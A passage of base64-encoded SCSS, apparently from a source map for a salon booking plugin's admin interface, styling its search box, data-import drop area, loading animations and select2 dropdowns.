4gICAgICAgICAgICAgICAgcGFkZGluZy10b3A6IDAuNWVtO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfVxuICAgIHAuc2VhcmNoLWJveCB7XG4gICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgYm90dG9tOiB1bnNldDtcbiAgICAgICAgd2lkdGg6IDEwMCU7XG4gICAgICAgIGhlaWdodDogYXV0bztcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogMjBweDtcbiAgICAgICAgLy9kaXNwbGF5OiBncmlkO1xuICAgICAgICAvL2dyaWQtdGVtcGxhdGUtY29sdW1uczogNzAlIDMwJTtcbiAgICAgICAgLy9ncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG4gICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG4gICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICAjcG9zdC1zZWFyY2gtaW5wdXQge1xuICAgICAgICAgICAgLy9ncmlkLWNvbHVtbjogMTtcbiAgICAgICAgICAgIC8vZ3JpZC1yb3c6IDE7XG4gICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDA7XG4gICAgICAgIH1cbiAgICAgICAgI3NlYXJjaC1zdWJtaXQge1xuICAgICAgICAgICAgLy9ncmlkLWNvbHVtbjogMjtcbiAgICAgICAgICAgIC8vZ3JpZC1yb3c6IDE7XG4gICAgICAgICAgICBtaW4td2lkdGg6IDYwdnc7XG4gICAgICAgIH1cbiAgICB9XG4gICAgLnNhbG9uX3BhZ2Vfc2Fsb24tY3VzdG9tZXJzIC50YWJsZW5hdi50b3AgLmFjdGlvbnM6bm90KC5idWxrYWN0aW9ucykge1xuICAgICAgICBwYWRkaW5nOiAwO1xuICAgIH1cbn1cbi5wb3N0LXR5cGUtc2xuX3NlcnZpY2UgI3Nsbi1zYWxvbi0tYWRtaW4ge1xuICAgIC5jaGVjay1jb2x1bW4ge1xuICAgICAgICBpbnB1dFt0eXBlPVwiY2hlY2tib3hcIl0ge1xuICAgICAgICAgICAgbWFyZ2luOiAwIDAgMCA4cHg7XG4gICAgICAgIH1cbiAgICB9XG59XG4iLCJAdXNlIFwiLi4vY29sb3JzXCI7XG5AdXNlIFwiLi4vY29sb3JzLW51XCI7XG5AdXNlIFwiLi4vdHlwby1hZG1pblwiO1xuQHVzZSBcIi4uL3NldHRpbmdzLW1peGluc1wiO1xuXG4jc2xuLXNhbG9uLS1hZG1pbiAjc2xuLXRhYi1pbXBvcnQtZGF0YSAuYWxlcnQuaGlkZSB7XG5cdC8vZGlzcGxheTogYmxvY2sgIWltcG9ydGFudDtcbn1cbiNzbG4tdGFiLWltcG9ydC1kYXRhIHtcblx0LnNsbi1ib3gge1xuXHRcdEBtZWRpYSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDE2MjBweCkge1xuXHRcdFx0cGFkZGluZzogNDBweCA2NnB4IDQwcHggNzBweDtcblx0XHR9XG5cblx0XHQ+IC5yb3cge1xuXHRcdFx0QG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTIwMHB4KSB7XG5cdFx0XHRcdCY6bm90KDpmaXJzdC1jaGlsZCkge1xuXHRcdFx0XHRcdG1hcmdpbi10b3A6IDkwcHg7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdEBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDExOTlweCkge1xuXHRcdFx0XHQmOm5vdCg6Zmlyc3QtY2hpbGQpIHtcblx0XHRcdFx0XHRtYXJnaW4tdG9wOiAyMHB4O1xuXHRcdFx0XHR9XG5cdFx0XHRcdD4gLmNvbC14cy0xMiB7XG5cdFx0XHRcdFx0Jjpub3QoOmZpcnN0LWNoaWxkKSB7XG5cdFx0XHRcdFx0XHRtYXJnaW4tdG9wOiAyMHB4O1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblxuXHRcdC5zbG4taXRlbS10b3Age1xuXHRcdFx0LnNsbi1ib3gtdGl0bGUsXG5cdFx0XHQuc2xuLWZha2UtbGFiZWwge1xuXHRcdFx0XHRmb250LWZhbWlseTogXCJIZWx2ZXRpY2EgTmV1ZVwiLCBzYW5zLXNlcmlmO1xuXHRcdFx0XHRjb2xvcjogIzAwMzU1Mztcblx0XHRcdFx0cGFkZGluZzogMDtcblx0XHRcdH1cblxuXHRcdFx0LnNsbi1ib3gtdGl0bGUge1xuXHRcdFx0XHRtYXJnaW46IDAgMCAxM3B4O1xuXHRcdFx0XHRAbWVkaWEgc2NyZWVuIGFuZCAobWluLXdpZHRoOiAxMjAwcHgpIHtcblx0XHRcdFx0XHRmb250LXNpemU6IDI1cHg7XG5cdFx0XHRcdFx0bGluZS1oZWlnaHQ6IDMwcHg7XG5cdFx0XHRcdH1cblx0XHRcdH1cblxuXHRcdFx0LnNsbi1mYWtlLWxhYmVsIHtcblx0XHRcdFx0QG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTIwMHB4KSB7XG5cdFx0XHRcdFx0Zm9udC1zaXplOiAxNnB4O1xuXHRcdFx0XHRcdGxpbmUtaGVpZ2h0OiAxOHB4O1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0LnNsbi1pbnB1dC0tc2ltcGxlLnNsbi1sb2dvLWJveCB7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAxMnB4O1xuXHRcdH1cblxuXHRcdC5zbG4taXRlbS1jc3Yge1xuXHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0Y29sb3I6ICMwMDM1NTM7XG5cdFx0XHRmb250LWZhbWlseTogXCJIZWx2ZXRpY2EgTmV1ZVwiLCBzYW5zLXNlcmlmO1xuXHRcdFx0QG1lZGlhIHNjcmVlbiBhbmQgKG1pbi13aWR0aDogMTIwMHB4KSB7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMThweDtcblx0XHRcdFx0bGluZS1oZWlnaHQ6IDIycHg7XG5cdFx0XHR9XG5cdFx0fVxuXHRcdC5zbG4tZmlsZV9fZHJvcGFyZWEge1xuXHRcdFx0bWFyZ2luLXRvcDogMmVtO1xuXHRcdFx0LmluZm8ge1xuXHRcdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0XHRncmlkLXRlbXBsYXRlOiBhdXRvIC8gNTAlIDUwJTtcblx0XHRcdFx0anVzdGlmeS1pdGVtczogc3RhcnQ7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMS4xNWVtO1xuXHRcdFx0XHR0cmFuc2Zvcm06IHNjYWxlKDEpO1xuXHRcdFx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXMgZWFzZTtcblx0XHRcdFx0LmluZm8td3JhcCB7XG5cdFx0XHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0XHRcdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxIC8gc3BhbiAyO1xuXHRcdFx0XHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0XHRcdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRcdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdFx0XHRcdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRcdFx0XHRwYWRkaW5nOiAyZW07XG5cdFx0XHRcdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0XHRcdFx0Ym9yZGVyOiAycHggZGFzaGVkO1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6IHNldHRpbmdzLW1peGlucy51bml0KDAuMzEyNSk7XG5cdFx0XHRcdFx0Ym9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1pZF9kYXJrX2IoMC41KTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRcdFx0XHRmb250LXNpemU6IDFlbTtcblx0XHRcdFx0XHRmb250LXdlaWdodDogNjAwO1xuXHRcdFx0XHRcdHRyYW5zZm9ybTogc2NhbGUoMSk7XG5cdFx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2U7XG5cdFx0XHRcdFx0ei1pbmRleDogOTtcblx0XHRcdFx0XHRzcGFuIHtcblx0XHRcdFx0XHRcdGZvbnQtc2l6ZTogMWVtO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHRAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHtcblx0XHRcdFx0XHRcdGFzcGVjdC1yYXRpbzogMS8wLjM2O1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQudGV4dCB7XG5cdFx0XHRcdFx0XHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdC5pbmZvLXVwbG9hZCB7XG5cdFx0XHRcdFx0XHQmOjpiZWZvcmUge1xuXHRcdFx0XHRcdFx0XHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdFx0XHRcdFx0XHRcdG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy51bml0KDAuNSk7XG5cdFx0XHRcdFx0XHRcdEBpbmNsdWRlIHR5cG8tYWRtaW4uZm9udC1pY29uKDJlbSk7XG5cdFx0XHRcdFx0XHRcdGNvbnRlbnQ6IFwiXFxmMzgyXCI7XG5cdFx0XHRcdFx0XHRcdGxpbmUtaGVpZ2h0OiAxO1xuXHRcdFx0XHRcdFx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDAuNzUpO1xuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLWZpbGVfX2J0biB7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDI7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRcdFx0dHJhbnNmb3JtOiBzY2FsZSgxKTtcblx0XHRcdFx0XHR0cmFuc2l0aW9uOiBhbGwgMjUwbXMgZWFzZTtcblx0XHRcdFx0fVxuXHRcdFx0XHQuaW5mby13cmFwICsgLnNsbi1maWxlX19idG4ge1xuXHRcdFx0XHRcdG1hcmdpbi10b3A6IDEuNmVtO1xuXHRcdFx0XHRcdG1hcmdpbi1ib3R0b206IDJlbTtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLWJ0bi0tIHtcblx0XHRcdFx0XHRtYXJnaW4tbGVmdDogMTBweDtcblx0XHRcdFx0XHRtaW4td2lkdGg6IDE2NnB4O1xuXHRcdFx0XHRcdGhlaWdodDogYXV0bztcblx0XHRcdFx0XHRsaW5lLWhlaWdodDogMTtcblx0XHRcdFx0XHRwYWRkaW5nOiAyMHB4IDQ1cHg7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogNXB4O1xuXHRcdFx0XHRcdGZvbnQtZmFtaWx5OiBNb250c2VycmF0LCBcIkhlbHZldGljYSBOZXVlXCIsIHNhbnMtc2VyaWY7XG5cdFx0XHRcdFx0Zm9udC13ZWlnaHQ6IDcwMDtcblx0XHRcdFx0XHRAbWVkaWEgc2NyZWVuIGFuZCAobWluLXdpZHRoOiAxMjAwcHgpIHtcblx0XHRcdFx0XHRcdGZvbnQtc2l6ZTogMjNweDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0QG1lZGlhIHNjcmVlbiBhbmQgKG1heC13aWR0aDogNTUwcHgpIHtcblx0XHRcdFx0XHRcdG1hcmdpbjogMTVweCAwIDAgMDtcblx0XHRcdFx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0LmFsZXJ0LXN1Y2Nlc3MsXG5cdFx0XHQuYWxlcnQtZGFuZ2VyLFxuXHRcdFx0LnByb2dyZXNzLXdyYXBwZXIge1xuXHRcdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0Zm9udC1zaXplOiAxLjNlbTtcblx0XHRcdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRcdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRcdH1cblx0XHRcdC5hbGVydC1kYW5nZXIge1xuXHRcdFx0XHRwYWRkaW5nOiAyZW07XG5cdFx0XHR9XG5cdFx0XHQuYWxlcnQtc3VjY2Vzcyxcblx0XHRcdC5wcm9ncmVzcy13cmFwcGVyIHtcblx0XHRcdFx0YXNwZWN0LXJhdGlvOiAxO1xuXHRcdFx0XHRAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHtcblx0XHRcdFx0XHRhc3BlY3QtcmF0aW86IDEvMC4zNjtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0LmFsZXJ0LXN1Y2Nlc3N7XG5cdFx0XHRcdC5hbGVydC1za2lwcGVke1xuXHRcdFx0XHRcdHBhZGRpbmctdG9wOjUlO1xuXHRcdFx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0XHRcdC5za2lwcGVkLWJvb2tpbmdze1xuXHRcdFx0XHRcdFx0b3ZlcmZsb3cteTogc2Nyb2xsO1xuXHRcdFx0XHRcdFx0bWF4LWhlaWdodDogMjAwcHg7XG5cblx0XHRcdFx0XHRcdC5za2lwcGVkLWJvb2tpbmctLWlke3dpZHRoOjUlO31cblx0XHRcdFx0XHRcdC5za2lwcGVkLWJvb2tpbmctLWRhdGV0aW1le3dpZHRoOiAxOCU7fVxuXHRcdFx0XHRcdFx0LnNraXBwZWQtYm9va2luZy0tZmlyc3QtbmFtZXt3aWR0aDogMTglO31cblx0XHRcdFx0XHRcdC5za2lwcGVkLWJvb2tpbmctLWxhc3QtbmFtZXt3aWR0aDoxOCU7fVxuXHRcdFx0XHRcdFx0LnNraXBwZWQtYm9va2luZy0tZW1haWx7d2lkdGg6MjUlO31cblx0XHRcdFx0XHRcdC5za2lwcGVkLWJvb2tpbmctLXBob25le3dpZHRoOjE2JTt9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdC5za2lwcGVkLWJvb2tpbmdzLS10aXRsZSxcblx0XHRcdFx0XHQuc2tpcHBlZC1ib29raW5ncyBsaXtcblx0XHRcdFx0XHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0XHRcdFx0XHRwYWRkaW5nOiAwIDMlO1xuXHRcdFx0XHRcdFx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0QG1lZGlhIChob3ZlcjogaG92ZXIpIHtcblx0XHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdFx0LmluZm8ge1xuXHRcdFx0XHRcdFx0LmluZm8td3JhcCB7XG5cdFx0XHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy5zbG4tY29sb3ItLWVtcGhhc2lzLS1ob3Zlcihcblx0XHRcdFx0XHRcdFx0XHQwLjE1XG5cdFx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdFx0XHRcdGJvcmRlci1jb2xvcjogY29sb3JzLnNsbi1jb2xvci0tZW1waGFzaXMtLWhvdmVyKFxuXHRcdFx0XHRcdFx0XHRcdDAuNVxuXHRcdFx0XHRcdFx0XHQpO1xuXHRcdFx0XHRcdFx0XHQvL2JvcmRlci1yYWRpdXM6IDAuNzVlbTtcblx0XHRcdFx0XHRcdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tZGFyaygxKTtcblx0XHRcdFx0XHRcdFx0Ly90cmFuc2Zvcm06IHNjYWxlKDEuMDUpO1xuXHRcdFx0XHRcdFx0XHQmOjpiZWZvcmUge1xuXHRcdFx0XHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG5cdFx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdCYuaG92ZXIge1xuXHRcdFx0XHQuaW5mbyB7XG5cdFx0XHRcdFx0LmluZm8td3JhcCB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMuc2xuLWNvbG9yLS1lbXBoYXNpcy0taG92ZXIoXG5cdFx0XHRcdFx0XHRcdDAuMjVcblx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdFx0XHRib3JkZXItY29sb3I6IGNvbG9ycy5zbG4tY29sb3ItLWVtcGhhc2lzLS1ob3ZlcigxKTtcblx0XHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6IDAuNzVlbTtcblx0XHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWRhcmsoMSk7XG5cdFx0XHRcdFx0XHR0cmFuc2Zvcm06IHNjYWxlKDEuMDUpO1xuXHRcdFx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRcdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcblx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdCYuZHJvcCB7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy5zbG4tY29sb3ItLWVtcGhhc2lzLS1ob3ZlcigwLjEpO1xuXHRcdFx0XHRwYWRkaW5nOiAxLjRlbTtcblx0XHRcdFx0bWFyZ2luOiAwLjZlbSAtMS40ZW0gMmVtIC0xLjRlbTtcblx0XHRcdFx0Ym9yZGVyLXJhZGl1czogMC43NWVtO1xuXHRcdFx0XHR0cmFuc2Zvcm06IHNjYWxlKDEpO1xuXHRcdFx0XHQuaW5mbyB7XG5cdFx0XHRcdFx0LmluZm8td3JhcCB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMuc2xuLWNvbG9yLS1lbXBoYXNpcy0taG92ZXIoXG5cdFx0XHRcdFx0XHRcdDAuNFxuXHRcdFx0XHRcdFx0KTtcblx0XHRcdFx0XHRcdGJvcmRlci1jb2xvcjogY29sb3JzLnNsbi1jb2xvci0tZW1waGFzaXMtLWhvdmVyKDEpO1xuXHRcdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogMC43NWVtO1xuXHRcdFx0XHRcdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tZGFyaygxKTtcblx0XHRcdFx0XHRcdC8vdHJhbnNmb3JtOiBzY2FsZSgxLjA1KTtcblx0XHRcdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdC5zbG4tZmlsZV9fYnRuIHtcblx0XHRcdFx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0XHRcdFx0XHR0cmFuc2Zvcm06IHNjYWxlKDEpO1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxufVxuIiwiLy8vLyBMT0FERVIgQ0FMRU5EQVIgUEFHRSAgLy8vL1xuLy8vXG4jc2xuLXBhZ2Vsb2FkaW5nLnNsbi1wYWdlbG9hZGluZy0taW5hY3RpdmUsXG4jc2xuLXZpZXdsb2FkaW5nLnNsbi12aWV3bG9hZGluZy0taW5hY3RpdmUsXG4jc2xuLW1vZGFsbG9hZGluZy5zbG4tbW9kYWxsb2FkaW5nLS1pbmFjdGl2ZSB7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDIzMSwgMjM3LCAyNDEsIDApO1xuXHRhbmltYXRpb246IHBhZ2Vsb2FkaW5nZmFkZU91dCAzNTBtcyBsaW5lYXI7XG5cdGltZyxcblx0aDEge1xuXHRcdHRyYW5zaXRpb246IGFsbCAyMDBtcyBlYXNlLW91dDtcblx0XHRvcGFjaXR5OiAwO1xuXHR9XG59XG4jc2xuLW1vZGFsbG9hZGluZy5zbG4tbW9kYWxsb2FkaW5nLS1pbmFjdGl2ZS0tc2F2ZSB7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjMzc1Zjk5O1xuXHQvL2FuaW1hdGlvbjogcGFnZWxvYWRpbmdmYWRlT3V0IDM1MG1zIGxpbmVhcjtcblx0b3BhY2l0eTogMDtcblx0aW1nLFxuXHRoMSB7XG5cdFx0Ly90cmFuc2l0aW9uOiBhbGwgMjAwbXMgZWFzZS1vdXQ7XG5cdFx0b3BhY2l0eTogMDtcblx0fVxufVxuI3Nsbi1tb2RhbGxvYWRpbmcgI3Nsbi1tb2RhbGxvYWRpbmdfX2lubmVyIHtcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHRsZWZ0OiAwO1xuXHRib3R0b206IDA7XG5cdHJpZ2h0OiAwO1xuXHRvcGFjaXR5OiAwO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDIzMSwgMjM3LCAyNDEsIDEpO1xuXHRhbmltYXRpb246IG1vZGFsU2F2ZWRCZyA1MDBtcyBsaW5lYXI7XG5cdGgxLFxuXHRzdmcge1xuXHRcdG9wYWNpdHk6IDA7XG5cdFx0dHJhbnNpdGlvbjogYWxsIDIwMG1zIGVhc2Utb3V0O1xuXHR9XG5cdCYuc2xuLW1vZGFsbG9hZGluZy0tc2F2ZWQge1xuXHRcdG9wYWNpdHk6IDE7XG5cdFx0aDEsXG5cdFx0c3ZnIHtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0fVxuXHRcdC5hbmltYXRlZC1jaGVjayBwYXRoIHtcblx0XHRcdGFuaW1hdGlvbjogZHJhdyA0MDBtcyBsaW5lYXIgZm9yd2FyZHM7XG5cdFx0fVxuXHR9XG59XG4uc2xuLWNhbGVuZGFyLXZpZXcge1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC5zbG4tY2FsZW5kYXItdmlldy0tdHJhbnNpdGlvbmluZyB7XG5cdH1cbn1cbi5hbmltYXRlZC1jaGVjayB7XG5cdGhlaWdodDogMTBlbTtcblx0d2lkdGg6IDEwZW07XG59XG5cbi5hbmltYXRlZC1jaGVjayBwYXRoIHtcblx0ZmlsbDogbm9uZTtcblx0c3Ryb2tlOiAjMzc1Zjk5O1xuXHRzdHJva2Utd2lkdGg6IDQ7XG5cdHN0cm9rZS1kYXNoYXJyYXk6IDIzO1xuXHRzdHJva2UtZGFzaG9mZnNldDogMjM7XG5cdHN0cm9rZS1saW5lY2FwOiByb3VuZDtcblx0c3Ryb2tlLWxpbmVqb2luOiByb3VuZDtcbn1cblxuQGtleWZyYW1lcyBkcmF3IHtcblx0dG8ge1xuXHRcdHN0cm9rZS1kYXNob2Zmc2V0OiAwO1xuXHR9XG59XG5Aa2V5ZnJhbWVzIHBhZ2Vsb2FkaW5nZmFkZU91dCB7XG5cdDAlIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDIzMSwgMjM3LCAyNDEsIDEpO1xuXHR9XG5cdDEwMCUge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjMxLCAyMzcsIDI0MSwgMCk7XG5cdH1cbn1cblxuQGtleWZyYW1lcyBtb2RhbFNhdmVkQmcge1xuXHQwJSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogcmdiYSgyNTUsIDI1NSwgMjU1LCAxKTtcblx0fVxuXHQyMCUge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMSk7XG5cdH1cblx0NTAlIHtcblx0XHQvL2JhY2tncm91bmQtY29sb3I6ICMzNzVmOTk7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogcmdiYSgyMzEsIDIzNywgMjQxLCAxKTtcblx0fVxufVxuIiwiQHVzZSBcImFkbWluX2NvbmZpZ1wiO1xuQHVzZSBcImNvbG9ycy1udVwiO1xuQHVzZSBcInNldHRpbmdzLW1peGluc1wiO1xuQHVzZSBcInR5cG8tYWRtaW5cIjtcblxuYm9keTpub3QoLnNsbi1zYWxvbi1wYWdlKSAuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsbiB7XG5cdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIHtcblx0XHRoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdH1cblx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG5cdFx0bGluZS1oZWlnaHQ6IDAgIWltcG9ydGFudDtcblx0fVxuXHQuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZSxcblx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG5cdFx0QGV4dGVuZCAlZm9udC1iaWc7XG5cdFx0Ym9yZGVyOiBub25lO1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHR0cmFuc2l0aW9uOiBhbGwgMTUwbXM7XG5cdFx0Jjpob3Zlcixcblx0XHQmOmZvY3VzIHtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdFx0XHRjb2xvcjogI2ZmZjtcblx0XHRcdH1cblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3c6YmVmb3JlIHtcblx0XHRcdFx0Y29sb3I6ICNmZmY7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdCYuc2VsZWN0Mi1jb250YWluZXItLW9wZW4ge1xuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlLFxuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuXHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRcdGNvbG9yOiAjZmZmO1xuXHRcdFx0fVxuXHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uX19hcnJvdzpiZWZvcmUge1xuXHRcdFx0XHRjb2xvcjogI2ZmZjtcblx0XHRcdH1cblx0XHR9XG5cdH1cblx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUgLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgxKTtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3BsYWNlaG9sZGVyIHtcblx0XHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLW1lZGl1bTtcblx0XHR9XG5cdH1cblx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUgLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cGFkZGluZy1sZWZ0OiAxZW07XG5cdFx0cGFkZGluZy1yaWdodDogMWVtO1xuXHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHQmOmhvdmVyIHtcblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3c6YmVmb3JlIHtcblx0XHRcdFx0Y29sb3I6ICNmZmY7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cblx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUgLnNlbGVjdDItc2VsZWN0aW9uX19hcnJvdyB7XG5cdFx0d2lkdGg6IDAuOXJlbTtcblx0XHRoZWlnaHQ6IDAuOXJlbTtcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiBjYWxjKDUwJSAtIDdweCk7XG5cdFx0cmlnaHQ6IHNldHRpbmdzLW1p